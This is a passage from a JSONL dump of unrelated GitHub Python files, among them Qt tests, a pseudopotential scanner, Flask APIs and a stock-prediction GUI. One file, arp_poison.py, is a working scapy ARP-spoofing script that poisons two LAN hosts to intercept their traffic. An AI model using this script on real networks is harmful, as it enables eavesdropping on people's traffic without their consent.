fi\n tester = ModelTest(model=tree)\n tester.runAllTests()\n\n\ndef test_tree_data(tree):\n\n ai = tree.index(0,0, QtCore.QModelIndex())\n bi = tree.index(0,0, ai)\n ci = tree.index(1,0, ai)\n di = tree.index(0,0, bi)\n ei = tree.index(1, 0, bi)\n fi = tree.index(0, 0, ei)\n gi = tree.index(1, 0, ei)\n hi = tree.index(0, 0, fi)\n ii = tree.index(1, 0, fi)\n\n assert tree.data(tree.index(0,0, QtCore.QModelIndex()), Qt.DisplayRole) == \"Alice\"\n assert tree.data(tree.index(0,1, QtCore.QModelIndex()), Qt.DisplayRole) == \"30\"\n assert tree.data(tree.index(0,2, QtCore.QModelIndex()), Qt.DisplayRole) == \"1\"\n assert tree.data(tree.index(0,3, QtCore.QModelIndex()), Qt.DisplayRole) == \"CEO\"\n assert tree.data(tree.index(0,4, QtCore.QModelIndex()), Qt.DisplayRole) == None\n\n\n assert tree.data(tree.index(0,4, QtCore.QModelIndex()), Qt.DecorationRole) is blue_icon\n\n font = tree.data(tree.index(0,3, QtCore.QModelIndex()), Qt.FontRole)\n assert font.bold() is True\n\n assert tree.flags(ai) is not 0\n\n\n\n@pytest.fixture\ndef tree_view(tree):\n view = TreeView(model=tree, parent=None, path='')\n return view\n\ndef test_tree_creation(tree):\n pass\n\ndef test_tree_view(tree_view):\n\n interactive = False\n\n if interactive:\n app = QtGui.QApplication.instance()\n tree_view.show()\n QTest.qWaitForWindowShown(tree_view)\n\n app.exec_()\n\n\n","repo_name":"jasonpjacobs/Siva","sub_path":"siva/tests/test_types_tree.py","file_name":"test_types_tree.py","file_ext":"py","file_size_in_byte":6136,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"17512598757","text":"import os\nimport abacus_pseudopotential_square.base.atom_in as ai\n\ndef scan_elements(system: str) -> list:\n\n # read letter in system one by one, from the beginning capitalized letter, if meet another, then cut the string\n # and save the previous string to the list, until the end of the string\n elements = []\n element = \"\"\n for letter in system:\n if letter.isupper():\n if element != \"\":\n elements.append(element)\n element = letter\n else:\n element += letter\n elements.append(element)\n return elements\n\ndef scan_valid_pseudopotentials(work_status: dict):\n \"\"\"\n Imagin the pseudpotentials are stored in this way:\n in [work_folder]/psedupotentials/resources/\n\n pd_04_spd/\n As.PD04.PBE.UPF\n ...\n sg15_10/\n As_ONCV_PBE-1.0.upf\n ...\n\n Output is organized as:\n {\n \"As\": {\n \"pd_04_spd\": {\n file: \"As.PD04.PBE.UPF\",\n kind: \"pd\",\n version: \"04\",\n appendix: \"\",\n },\n \"sg15_10\": {\n file: \"As_ONCV_PBE-1.0.upf\",\n kind: \"sg15\",\n version: \"10\",\n appendix: \"\",\n }\n ...\n },\n }\n \"\"\"\n elements = []\n valid_pseudopotentials = {}\n # collect all elements needed for test\n for system in work_status[\"systems\"].keys():\n for element in scan_elements(system):\n if element not in elements:\n elements.append(element)\n # check-in\n os.chdir(work_status[\"pseudopotentials\"][\"pseudopot_paths\"][\"resources\"])\n # then for each element, scan available pseudopotentials\n for element in elements:\n for pseudopot_kind in work_status[\"pseudopotentials\"][\"kinds\"][element]:\n for version in work_status[\"pseudopotentials\"][\"versions\"][element]:\n for appendix in work_status[\"pseudopotentials\"][\"appendices\"][element]:\n pseudopotential = pseudopot_kind\n if version != \"\":\n pseudopotential += \"_\" + version\n if appendix != \"\":\n pseudopotential += \"_\" + appendix\n # if find the folder named as pseudopot_kind + \"_\" + version + \"_\" + appendix, then it is valid\n if os.path.isdir(pseudopotential):\n # check if the pseudopotential file is in the folder, sometimes the file startswith lowercase\n files = os.listdir(pseudopotential)\n pseudopot_valid = False\n for file in files:\n if file.startswith(element) or file.startswith(element.lower()):\n pseudopot_valid = True\n break\n if not pseudopot_valid:\n continue\n # if really find the pseudopotential, then save it to the list\n if element not in valid_pseudopotentials.keys():\n valid_pseudopotentials[element] = {}\n valid_pseudopotentials[element][pseudopotential] = {\n \"file\": file,\n \"kind\": pseudopot_kind,\n \"version\": version,\n \"appendix\": appendix,\n }\n \n \n return valid_pseudopotentials\n\ndef scan_valid_numerical_orbitals(work_status: dict, valid_pseudopotentials: dict):\n \"\"\"\n Imagine the numerical orbitals are stored in this way:\n in [work_folder]/numerical_orbitals/resources/\n\n pd_04_spd/\n 33_As_DZP/\n As_gga_6au_100Ry_2s2p1d.orb\n As_gga_7au_100Ry_2s2p1d.orb\n ...\n 33_As_TZDP/\n As_gga_6au_100Ry_2s2p1d.orb\n ...\n sg15_10/\n 33_As_DZP/\n As_gga_6au_100Ry_2s2p1d.orb\n ...\n As_gga_6au_100Ry_2s2p1d_osci_rm.orb\n ...\n ...\n\n Output is organized as:\n {\n \"As\": {\n \"pd_04_spd: {\n \"D6\": {\n \"type\": \"DZP\",\n \"rcut\": 6,\n \"appendix\": \"\",\n \"file\": \"As_gga_6au_100Ry_2s2p1d.orb\",\n },\n ...\n \"T7\": {\n \"type\": \"TZDP\",\n \"rcut\": 7,\n \"appendix\": \"\",\n \"file\": \"As_gga_7au_100Ry_3s3p2d.orb\",\n },\n ...\n }\n \"sg15_10\": {\n \"D6\": {\n \"type\": \"DZP\",\n \"rcut\": 6,\n \"appendix\": \"\",\n \"file\": \"As_gga_6au_100Ry_2s2p1d.orb\",\n },\n ...\n \"D6_osci_rm\": {\n \"type\": \"DZP\",\n \"rcut\": 6,\n \"appendix\": \"osci_rm\",\n \"file\": \"As_gga_6au_100Ry_2s2p1d_osci_rm.orb\",\n },\n ...\n }\n },\n ...\n }\n \"\"\"\n elements = []\n valid_numerical_orbitals = {}\n # collect all elements needed for test\n for system in work_status[\"systems\"].keys():\n for element in scan_elements(system):\n if element not in elements:\n elements.append(element)\n # check-in\n os.chdir(work_status[\"numerical_orbitals\"][\"nao_paths\"][\"resources\"])\n print(\"enter folder: %s\" % os.getcwd())\n # after getting valid pseudopotentials, we scan the numerical orbitals according to it\n for element in elements:\n for pseudopotential in valid_pseudopotentials[element].keys():\n if os.path.isdir(pseudopotential):\n os.chdir(pseudopotential)\n folder_header = str(ai.get_element_index(element)) + \"_\" + element\n for nao_type in work_status[\"numerical_orbitals\"][\"types\"][element]:\n folder = folder_header + \"_\" + nao_type\n if os.path.isdir(folder):\n files = os.listdir(folder)\n for rcut in work_status[\"numerical_orbitals\"][\"rcuts\"][element]:\n for appendix in work_status[\"numerical_orbitals\"][\"appendices\"][element]:\n nao_startswith = \"%s_gga_%sau_100Ry\" % (element, rcut)\n nao_endswith = \"%s.orb\" % appendix\n nao_valid = False\n for file in files:\n if file.startswith(nao_startswith) and file.endswith(nao_endswith):\n nao_valid = True\n break\n if not nao_valid:\n continue\n if element not in valid_numerical_orbitals.keys():\n valid_numerical_orbitals[element] = {}\n if pseudopotential not in valid_numerical_orbitals[element].keys():\n valid_numerical_orbitals[element][pseudopotential] = {}\n key_nao = nao_type[0] + str(rcut)\n if appendix != \"\":\n key_nao += \"_\" + appendix\n valid_numerical_orbitals[element][pseudopotential][key_nao] = {\n \"type\": nao_type,\n \"rcut\": rcut,\n \"appendix\": appendix,\n \"file\": file,\n }\n os.chdir(\"..\")\n return valid_numerical_orbitals","repo_name":"kirk0830/ABACUS-pseudopotential-square","sub_path":"abacus_pseudopotential_square/base/scans.py","file_name":"scans.py","file_ext":"py","file_size_in_byte":7880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30285789446","text":"import json\r\nfrom difflib import get_close_matches\r\n\r\ndata = json.load(open(\"data.json\"))\r\n\r\ndef translate(word):\r\n word = word.lower()\r\n if word in data:\r\n return data[word]\r\n elif word.title() in data:\r\n return data[word.title()]\r\n elif word.upper() in data:\r\n return data[word.upper()]\r\n elif len(get_close_matches(word, data.keys())) > 0 :\r\n print(\"did you mean %s instead\" %get_close_matches(word, data.keys()) [0])\r\n decide = input(\"press y for yess or n for no = \")\r\n if decide == \"y\":\r\n return data(get_close_matches(word, data.keys()) [0])\r\n elif decide == \"n\":\r\n return(\"please check the word and try again\")\r\n else:\r\n return(\"you have entered the wrong input please enter y or n\")\r\n else:\r\n print(\"please check the word and try again\")\r\n\r\nword = input(\"enter the word you want to search = \")\r\noutput = translate(word)\r\nprint(output)\r\n","repo_name":"kaushikp47/Python_game","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6559023602","text":"from plasticome_metadata.services.user_service import verify_credentials\n\n\ndef authenticate_user(data: dict):\n try:\n required_fields = ['username', 'secret']\n if all(data.get(field) for field in required_fields):\n result, error = verify_credentials(\n data['username'], data['secret']\n )\n if error:\n return {'error': str(error)}, 401\n return {'access_token': result}, 200\n else:\n missing_fields = [\n field for field in required_fields if not data.get(field)\n ]\n return {\n 'error': f'Incomplete model, missing fields: {\", \".join(missing_fields)}'\n }, 422\n except Exception as error:\n return {'[AUTH USER]': error}, 400\n","repo_name":"blueevee/plasticome-metadata","sub_path":"plasticome_metadata/controllers/user_controller.py","file_name":"user_controller.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9784804415","text":"from dependency_injector import containers, providers\nfrom zigbee_controller.config import ZigbeeConfig\n\nfrom .zigbee_controller import ZigbeeController\nfrom .zigbee_light import ZigbeeLight\nfrom .zigbee_pairing import ZigbeePairingDevice\n\n\nclass DeviceContainer(containers.DeclarativeContainer):\n __self__ = providers.Self()\n\n service_provider = providers.Singleton(\n __self__\n )\n\n config = providers.Dependency()\n\n logger = providers.Dependency()\n\n zigbee_controller = providers.Singleton(\n ZigbeeController,\n config=config,\n logger=logger\n )\n\n\ndef add_devices(container):\n common_container = container.common()\n device_container = common_container.device()\n\n # override the config\n common_container.config.override(providers.Singleton(\n ZigbeeConfig\n ))\n\n setattr(\n device_container,\n 'zigbee_pairing_device',\n providers.Factory(\n ZigbeePairingDevice,\n config=container.common.config,\n logger=container.common.logger,\n mqtt_client=container.common.mqtt_client,\n zigbee_controller=container.device.zigbee_controller\n )\n )\n\n setattr(\n device_container,\n 'zigbee_light_device',\n providers.Factory(\n ZigbeeLight,\n config=container.common.config,\n logger=container.common.logger,\n mqtt_client=container.common.mqtt_client,\n controller=container.device.zigbee_controller\n )\n )\n","repo_name":"TWilkin/powerpi","sub_path":"controllers/zigbee/zigbee_controller/device/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"74204226491","text":"from sympy import *\n\nf1 = Symbol('f1')\nf2 = Symbol('f2')\nf3 = Symbol('f3')\nf4 = Symbol('f4')\nf5 = Symbol('f5')\nf6 = Symbol('f6')\nf7 = Symbol('f7')\nf8 = Symbol('f8')\nrho = Symbol('rho')\nu = Symbol('u')\nv = Symbol('v')\n\neq1 = f1+f5+f8-f3-f6-f7-rho*u\neq2 = f2+f5+f6-f4-f7-f8-rho*v\neq3 = f4-f2+2/3*rho*v\n\nans = solve([eq1,eq2,eq3],[f4,f7,f8])\n\npprint(ans)\n\n# import numpy as np\n# import matplotlib.pyplot as plt\n\n\n# a = np.array([[3,3,3],[2,2,2],[1,1,1],[0,0,0]])\n# # plt.imshow(a)\n# # plt.colorbar()\n# # plt.show()\n# print(a[1:,1:])","repo_name":"b4158813/2020innovativepractice","sub_path":"code/123.py","file_name":"123.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34271634940","text":"#!usr/bin/python\n\"\"\" Main Entry point for Gerrit dashboard \"\"\"\n\nfrom flask import Flask, render_template\nimport config\nimport data\n\napp = Flask(__name__, template_folder=\"\")\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/home', methods=['GET', 'POST'])\ndef index_page():\n \"\"\"! \\brief Index Page: This is the landing page of the application \"\"\"\n stats, headers = data.get_stats()\n return render_template('index.html', stats=stats, headers=headers)\n\n\nif (__name__ == '__main__'):\n \"\"\" Main Entry point for the App \"\"\"\n print(\"Application Started\")\n print(\"Running on http://\" + config.HOST + \":\" + str(config.PORT_NO))\n app.run(host=config.HOST, port=config.PORT_NO, debug=config.DEBUG)\n","repo_name":"Jacob19/covid-19","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8275410448","text":"import scapy.all as scapy\nimport time\n\ndef get_mac_adress(ip):\n arp_request_packet = scapy.ARP(pdst=ip) #arp request\n broadcast_packet = scapy.Ether(dst=\"ff:ff:ff:ff:ff:ff\") #broadcast\n combined_packet = broadcast_packet/arp_request_packet\n answered_list = scapy.srp(combined_packet,timeout=1,verbose=False)[0] #taking only answered list with [0]\n\n return answered_list[0][1].hwsrc\n\ndef arp_poisoning(target_ip,poisoned_ip):\n\n target_mac = get_mac_adress(target_ip)\n arp_response = scapy.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=poisoned_ip)\n scapy.send(arp_response,verbose=False)\n #scapy.ls(scapy.ARP())\n\ndef reset_arp_poison(fooled_ip,gateway_ip):\n\n fooled_mac = get_mac_adress(fooled_ip)\n gateway_mac = get_mac_adress(gateway_ip)\n arp_response = scapy.ARP(op=2,pdst=fooled_ip,hwdst=fooled_mac,psrc=gateway_ip,hwsrc=gateway_mac)\n scapy.send(arp_response,verbose=False,count=6)\n\nnumber = 0\ntry:\n while True:\n arp_poisoning(\"10.0.2.4\",\"10.0.2.1\")\n arp_poisoning(\"10.0.2.1\",\"10.0.2.4\")\n number += 2\n print(\"\\rsending packets...\" + str(number), end=\"\")\n time.sleep(3)\nexcept KeyboardInterrupt :\n print(\"\\nquit and reset\")\n reset_arp_poison(\"10.0.2.4\",\"10.0.2.1\")\n reset_arp_poison(\"10.0.2.1\", \"10.0.2.4\")","repo_name":"yasarhizlidere/pythonMITM","sub_path":"arp_poison.py","file_name":"arp_poison.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39134186536","text":"# __init__.py\nfrom classification.utils.registry import DATASET_REGISTRY\nimport classification.datasets.RAISE_dataset, classification.datasets.sisr_dataset\n\n# each dataset should fulfill the following interface:\n# constructor takes in its args from the options\n# the dataset has attributes\n# ordered_labels\n# name\n# add_to_database(self)\n# the dataset yeilds triples of (image, label, metadata)\n# image: a PIL image\n# label: a string label. should be a string from ordered_labels\n# metadata:\n# crop: a named tuple with the same order as PIL crop() args\n# ground_truth_path - path to the corresponding ground truth (HR) image.\n# image_path\n\n\ndef get_dataset(opt, phase=None):\n \"\"\"Returns a dataset created from the given options dictionary.\n\n args:\n opt: the dictionary of options\n phase (optional): one of {'train', 'val', 'test'}.\n Specifies which role this dataset will play.\n \"\"\"\n opt = opt.copy()\n if phase is not None:\n if \"phase\" in opt:\n assert opt[\"phase\"] == phase, (\n f\"dataset of phase type {opt['phase']} \"\n + f\"cannot be used for phase {phase}\"\n )\n opt[\"phase\"] = phase\n dataset_type = opt.pop(\"type\")\n return DATASET_REGISTRY.get(dataset_type)(**opt)\n","repo_name":"JeremyIV/SISR-fingerprints","sub_path":"classification/datasets/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"8165531951","text":"# %%\r\n# -*- coding: utf-8 -*-\r\n# 載入需要的套件\r\n# 科學計算、數據處理常用的兩個基礎套件\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# 作圖、視覺化的套件\r\nimport matplotlib.pyplot as plt\r\n# Yahoo finance 套件,用來下載股價資訊\r\nimport yfinance as yf\r\nimport datetime\r\n\r\n# SciKit-Learn (sklearn) 套件,用來快速、簡單建構基礎模型的套件\r\nimport sklearn\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.metrics import mean_squared_error\r\n\r\n# tkinter與matplotlib整合套件\r\nimport tkinter as tk\r\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\r\n\r\n\r\n# %%\r\n# 設定想要的股票代碼資訊,以及要下載股價資訊的時間範圍\r\ndef process_data():\r\n # 處理輸入\r\n stock_name = text_1.get('1.0', 'end')\r\n start = text_2.get('1.0', 'end')\r\n start = start.split('-')\r\n start = datetime.datetime(int(start[0]), int(start[1]), int(start[2]))\r\n end = int(text_3.get('1.0', 'end'))\r\n end = datetime.timedelta(days=int(end))\r\n end = start + end\r\n\r\n # 下載股價資訊\r\n df_full = yf.download(stock_name, start, end, interval='1d').dropna()\r\n # 畫出股價資訊\r\n df_raw = df_full[df_full.columns[-1]]\r\n fig1 = plt.figure(figsize=(8, 4))\r\n sub1 = fig1.add_subplot(1,1,1)\r\n sub1.plot(df_raw.index, df_raw, label=stock_name)\r\n sub1.grid()\r\n sub1.legend()\r\n canvas1=FigureCanvasTkAgg(fig1, win)\r\n canvas1.get_tk_widget().grid(row=12, column=0)\r\n\r\n # 畫出移動平均線,每 20 天為一個移動單位\r\n window = 20\r\n df_MA = df_full[df_full.columns[-1]].rolling(window).mean()\r\n # X 只拿第 1 天到第 N-1 天,而 y 則取第 2 天到第 N 天\r\n # X 只拿第 1 天到第 N-1 天,而 y 則取第 2 天到第 N 天\r\n df_X = df_full.iloc[:-1,:-1]\r\n df_y = df_full.iloc[1:,-1]\r\n X = df_X.to_numpy() \r\n y = df_y.to_numpy() \r\n # 訓練/測試的資料分割,以前 80% 的天數資料做訓練,後 20% 來做測試\r\n num_data = df_X.shape[0]\r\n split_ratio = 0.8\r\n ind_split = int(split_ratio * num_data)\r\n X_train = X[:ind_split]\r\n y_train = y[:ind_split].reshape(-1,1)\r\n X_test = X[ind_split:]\r\n y_test = y[ind_split:].reshape(-1,1)\r\n split_time = df_X.index[ind_split]\r\n reg_linear = LinearRegression()\r\n reg_linear.fit(X_train, y_train)\r\n # 將訓練好的模型,用來做預測\r\n trainings = reg_linear.predict(X_train).reshape(-1,1)\r\n predictions = reg_linear.predict(X_test).reshape(-1,1)\r\n # 將預測結果合再一起\r\n all_pred = np.concatenate((trainings, predictions), axis=0)\r\n # 計算方均根差\r\n train_rmse = mean_squared_error(trainings, y_train, squared=False)\r\n test_rmse = mean_squared_error(predictions, y_test, squared=False)\r\n print(f'Training RMSE is: {train_rmse}')\r\n print(f'Testing RMSE is: {test_rmse}')\r\n\r\n # 將預測和真實的股價,放進 df_linear 以便做圖\r\n df_linear = pd.DataFrame(all_pred, columns=['Linear '+df_full.columns[-1]], index=df_y.index)\r\n df_linear[df_full.columns[-1]] = y\r\n # 畫出結果\r\n fig2=plt.figure(figsize=(8, 4))\r\n sub2 = fig2.add_subplot(1, 1, 1)\r\n sub2.plot(df_linear.index, df_linear.iloc[:, 0], label=stock_name, color='r')\r\n sub2.plot(df_linear.index, df_linear.iloc[:, 1], label=stock_name, color='C0')\r\n sub2.grid()\r\n sub2.legend()\r\n sub2.axvline(pd.Timestamp(split_time),color='orange')\r\n canvas2=FigureCanvasTkAgg(fig2, win)\r\n canvas2.get_tk_widget().grid(row=20, column=0)\r\n\r\n# %%\r\n# 建立一個視窗\r\nwin = tk.Tk()\r\nwin.title('台灣股票行情查詢')\r\nwin.geometry('1600x900')\r\n\r\n# 印出第一列敘述與輸入框\r\nlabel_1 = tk.Label(win, text='台灣股票代碼:', font=('Arial', 12))\r\nlabel_1.grid(row=0, column=0, rowspan=3, sticky=tk.W+tk.N+tk.S)\r\ntext_1 = tk.Text(win, height=3, width=30)\r\ntext_1.grid(row=0, column=1, rowspan=3, sticky=tk.W)\r\n\r\n# 印出第二列敘述與輸入框\r\nlabel_2 = tk.Label(win, text='預估起始時間(yyyy-mm-dd):', font=('Arial', 12))\r\nlabel_2.grid(row=3, column=0, rowspan=3, sticky=tk.W+tk.N+tk.S)\r\ntext_2 = tk.Text(win, height=3, width=30)\r\ntext_2.grid(row=3, column=1, rowspan=3, sticky=tk.W)\r\n\r\n# 印出第三列敘述與輸入框\r\nlabel_3 = tk.Label(win, text='持續時間(天):', font=('Arial', 12))\r\nlabel_3.grid(row=6, column=0, rowspan=3, sticky=tk.W+tk.N+tk.S)\r\ntext_3 = tk.Text(win, height=3, width=30)\r\ntext_3.grid(row=6, column=1, rowspan=3, sticky=tk.W)\r\n\r\n# 印出按鈕\r\nbutton = tk.Button(win, height=3, text='開始計算', command=process_data)\r\nbutton.grid(row=9, column=0, rowspan=3, columnspan=2, sticky=tk.N+tk.E+tk.W)\r\n\r\nwin.mainloop()\r\n","repo_name":"NickZheng0516/e94081149_finalproject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71451207932","text":"#!/usr/bin/python3\n\"\"\"Node Class Creator.\n\"\"\"\n\n\nclass Node:\n \"\"\"Set the node information.\n \"\"\"\n def __init__(self, data, next_node=None):\n self.data = data\n self.next_node = next_node\n\n @property\n def data(self):\n \"\"\"Get Node data.\n \"\"\"\n\n return self.__data\n\n @data.setter\n def data(self, value):\n \"\"\"Set Node data.\n Args:\n value: data to be transferred to node\n \"\"\"\n\n if not isinstance(value, int):\n raise TypeError(\"data must be an integer\")\n self.__data = value\n\n @property\n def next_node(self):\n \"\"\"Get next node.\n \"\"\"\n\n return self.__next_node\n\n @next_node.setter\n def next_node(self, value):\n \"\"\"Set next node.\n Args:\n value: value of next node.\n \"\"\"\n\n if not isinstance(value, Node) and value is not None:\n raise TypeError(\"next_node must be a Node object\")\n self.__next_node = value\n\n\n\"\"\" Linked list class \"\"\"\n\n\nclass SinglyLinkedList:\n \"\"\" List instances \"\"\"\n def __init__(self):\n self.__head = None\n\n \"\"\" Organize nodes \"\"\"\n def sorted_insert(self, value):\n new = Node(value)\n if self.__head is None:\n new.next_node = None\n self.__head = new\n elif self.__head.data > value:\n new.next_node = self.__head\n self.__head = new\n else:\n tmp = self.__head\n while tmp.next_node is not None and tmp.next_node.data < value:\n tmp = tmp.next_node\n new.next_node = tmp.next_node\n tmp.next_node = new\n\n \"\"\" Assing null to last node \"\"\"\n def __str__(self):\n values = []\n tmp = self.__head\n while tmp is not None:\n values.append(str(tmp.data))\n tmp = tmp.next_node\n return '\\n'.join(values)\n","repo_name":"dev-loup/holbertonschool-higher_level_programming","sub_path":"0x06-python-classes/100-singly_linked_list.py","file_name":"100-singly_linked_list.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39843305578","text":"import os\n\nfrom Figures.Chessfigure import Chessfigure\nfrom colors import red, green\n\n\nclass Queen(Chessfigure):\n def __init__(self, color):\n super().__init__(color, 9)\n\n def __str__(self):\n if os.getenv(\"PYCHARM_HOSTED\") is not None:\n return f\"{green('Q') if self.get_color() == 'white' else red('Q')}\"\n return f\"{'♕' if self.get_color() == 'white' else '♛'}\"\n\n def is_move_possible(self, source, destination):\n if (source.get_x() == destination.get_x() or source.get_y() == destination.get_y()) or (\n abs(source.get_x() - destination.get_x()) == abs(source.get_y() - destination.get_y())):\n return True\n return False\n","repo_name":"voytech-47/chess","sub_path":"Figures/Queen.py","file_name":"Queen.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27434795499","text":"import sys\r\ninput=sys.stdin.readline\r\nkey=list(input().strip())\r\nengel=list(input().strip())\r\ndevil=list(input().strip())\r\nK=len(key);N=len(engel)\r\ndp1=[[0]*(K+1) for _ in range(N)]\r\ndp2=[[0]*(K+1) for _ in range(N)]\r\nfor i in range(N):\r\n for k in range(K):\r\n if engel[i] == key[k]:\r\n if k == 0:\r\n dp1[i][k] = dp1[i-1][k]+1\r\n else:\r\n dp1[i][k] = dp1[i-1][k]+dp2[i-1][k-1]\r\n else:\r\n dp1[i][k] = dp1[i-1][k]\r\n if devil[i] == key[k]:\r\n if k == 0:\r\n dp2[i][k] = dp2[i-1][k]+1\r\n else:\r\n dp2[i][k] = dp2[i-1][k]+dp1[i-1][k-1]\r\n else:\r\n dp2[i][k] = dp2[i-1][k]\r\nprint(dp1[-1][-2]+dp2[-1][-2])","repo_name":"IHateChem/practice","sub_path":"백준/Gold/2602. 돌다리 건너기/돌다리 건너기.py","file_name":"돌다리 건너기.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32394359257","text":"import xlsxwriter\n\n\nf = open('text3.txt', 'r')\na = f.readlines()\nprint(len(a))\ndata = []\nfor i in a:\n data1 = []\n data1 = i[:-1]\n data.append(data1)\n # print(data)\n\nprint(len(data))\n\nworkbook = xlsxwriter.Workbook('links.xlsx')\n\nworksheet = workbook.add_worksheet()\n\nworksheet.write_column('A1', data)\n\nworkbook.close()","repo_name":"Otsgolyak/Profit","sub_path":"toCVS.py","file_name":"toCVS.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7420232544","text":"from flask import request, jsonify, Response\nfrom flask_login import current_user, login_required\n\nfrom app.ai import ai_api_blueprint\nfrom app.ai.essay import services\nfrom app.exceptions import BadRequest, Unauthorized, NotFound\nfrom app.models import Essay\n\n\n@ai_api_blueprint.route('/essay/')\n@login_required\ndef get_essay(essay_id: int):\n essay = Essay.get_by_id(essay_id)\n if not essay:\n raise NotFound(message='Essay not found')\n\n if essay.user_id != current_user.id:\n raise Unauthorized(message='This essay is not yours')\n\n return jsonify(essay.serialized)\n\n\n@ai_api_blueprint.route('/essay/all')\n@login_required\ndef get_all_essays():\n essays = [essay.serialized for essay in list(current_user.essays)]\n return jsonify(essays)\n\n\n@ai_api_blueprint.route('/essay/grade', methods=['POST'])\n@login_required\ndef grade_essay() -> Response:\n topic = request.json.get('topic')\n if not topic:\n raise BadRequest(message='Topic not present')\n\n essay = request.json.get('essay')\n if not essay:\n raise BadRequest(message='Essay not present')\n\n essay = services.grade_essay(topic, essay, current_user.id)\n return jsonify(essay.serialized)\n","repo_name":"TheTrustyPwo/StudyHub","sub_path":"app/ai/essay/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"39630553541","text":"def twoSum(nums, target):\n for i in range(0, len(nums)):\n for j in range(i+1, len(nums)):\n if nums[i] + nums[j] == target:\n print(nums[i]+nums[j], i, j)\n #print(nums.index(nums[i]), nums.index(nums[j]))\n return [i, j]\n return -1\n\n\nprint(twoSum([2,7,11,15], 9))\n","repo_name":"ankita-singh4/Homer","sub_path":"twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5928563051","text":"import numpy as np\nimport scipy.linalg\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import solve_ivp\nimport pandas as pd\nimport math as m\nimport cantera as ct\nimport torch\nfrom src.training_edmd import GD_edmd_training\nfrom src.kernels import RBFKernel\n\n\ndef get_linear_data(t_eval, initial_condition, dim,A):\n #t_eval = np.linspace(0, t_end, timesteps)\n solution = np.empty((len(t_eval), dim))\n expA = scipy.linalg.expm(A)\n for ti in range(len(t_eval)):\n solution[ti, :] = scipy.linalg.fractional_matrix_power(expA, ti/len(t_eval)) @ initial_condition \n df = pd.DataFrame(data=solution,index=t_eval,columns=[\"x1\", \"x2\"]) \n return solution,df, A,expA\n\ndef get_quad_data(t, num_init):\n X, Y, A = get_linear_data(t, num_init,dim=2)\n X[:,0] = X[:,0] - np.square(X[:,1])\n X[:,1] = -np.square(X[:,0]) + X[:,1] + 2 * X[:,0] * np.square(X[:,1]) - np.power(X[:,1],4)\n\n Y[:,0] = Y[:,0] - np.square(Y[:,1])\n Y[:,1] = -np.square(Y[:,0]) + Y[:,1] + 2 * Y[:,0] * np.square(Y[:,1]) - np.power(Y[:,1],4)\n\n return X, Y, A \n\ndef duffing_oscilator(t=None,y=None):\n a,b,d=1,-1,0.5 \n dydt=np.zeros(2)\n \n dydt[0]=y[1]\n dydt[1]=-d*y[1]-y[0]*(b+a*y[0]**2)\n return dydt\n\n\ndef hopf(t=None,y=None):\n mu=1\n dydt=np.zeros(2)\n \n dydt[0]=-y[1]+y[0]*(mu-y[0]**2-y[1]**2)\n dydt[1]=y[0]+y[1]*(mu-y[0]**2-y[1]**2)\n return dydt\n\ndef get_nonlinear_data(t_eval,initial_conditions,equation):\n #t_eval = np.linspace(0, t_end, timesteps)\n sol = solve_ivp(equation,(t_eval[0], t_eval[-1]), y0=initial_conditions, t_eval=t_eval) \n #sol = solve_ivp(equation,(t_eval[0], t_eval[-1]), y0=initial_conditions) \n df = pd.DataFrame(data=sol[\"y\"].T,index=sol[\"t\"],columns=[\"x1\", \"x2\"],) \n #df = pd.DataFrame(data=sol[\"y\"].T,index=sol[\"t\"],columns=[\"x1\", \"x2\"],)\n solution=np.array(sol[\"y\"]).T\n return solution,df\n\n\n\ndef H2_combustion1(t_eval,ic) : \n gas = ct.Solution('h2o2.yaml')\n \n \n p = 10.0*133.3\n \n gas.TPX = ic[1], p, {'H2':ic[0],'O2':0.12,'N2':(1.0-0.12-ic[0])}\n \n \n upstream = ct.Reservoir(gas)\n cstr = ct.IdealGasReactor(gas)\n cstr.volume = 